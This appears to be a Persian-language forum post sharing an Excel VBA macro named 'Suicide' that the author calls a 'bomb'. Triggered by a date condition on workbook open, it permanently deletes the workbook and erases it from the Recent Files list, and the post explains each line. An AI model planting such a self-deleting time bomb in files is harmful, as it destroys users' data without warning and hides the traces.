سلام کد زیر به عنوان یک بمب عمل می کند و در صورتی که انرا با یک if همراه کنید و روی رویداد open_worksheet قرار دهید می تواند با فرا رسیدن یک زمان خاص یا پس از آن کل فایل اکسل را پاک کند(kill) کند.
کد PHP:
Sub Suicide()
Dim Ndx As Integer
With ThisWorkbook
.Save
For Ndx = 1 To Application.RecentFiles.Count
If Application.RecentFiles(Ndx).Path = .FullName Then
Application.RecentFiles(Ndx).Delete
Exit For
End If
Next Ndx
.ChangeFileAccess Mode:=xlReadOnly
Kill .FullName
.Close SaveChanges:=False
End With
End Sub
توضیح کد:
Application.RecentFiles.Count تعداد فایل هایی را که بر روی RecentFiles درمنویfile قرار دارد را برمی گرداند
Application.RecentFiles(Ndx).Pathاین قطعه از کد مسیر فایل شماره Ndx رایرمی گرداند.که Ndx شماره فایل بر روی RecentFilesاست مثلا اگر Ndxبرابر با 7 باشد یعنی هفتمین فایلی که بر رویRecentFiles است . مثلا اگر فایلی بنام bomb بر روی دسک تاپ داشته باشیم خروجی این قطعه از کد به صورت زیر است:
C:\Documents and Settings\anahit\Desktop\bomb.xlsm
ThisWorkbook.FullName نیز خروجی آن به شکل زیر است:
C:\Documents and Settings\anahit\Desktop\bomb.xlsm
Application.RecentFiles(Ndx).Delete این دستوراگر شرط بر قرار بود انرا از روی RecentFiles پاک می کند و بعد از حلقه خارج می شود و حلقه به تعداد Ndx تکرار می شود و اگر شرط برقرار بود مجدد انرا از RecentFiles پاک می کند
ChangeFileAccess Mode:=xlReadOnly ThisWorkbook.
دسترسی به این ورک بوک را ReadOnly می کند.
Kill pathname:
این تابع فایل یا فایل هایی را که مسیر و نام آنها در آرگومان pathname تعین می شود را پاک می کند فایل های پاک شده به سطل زباله ویندوز منتقل نمی شوند و برای همیشه پاک می شوند
|
اخطار: این یک موضوع قدیمی است به دلیل قدیمی بودن موضوع، ممکن است برخی فایل های ضمیمه به درستی کار نکنند. لطفا در صورت عدم ضرورت، از بالا آوردن موضوعات قدیمی خودداری نمایید. |
|
علاقه مندی ها (Bookmarks)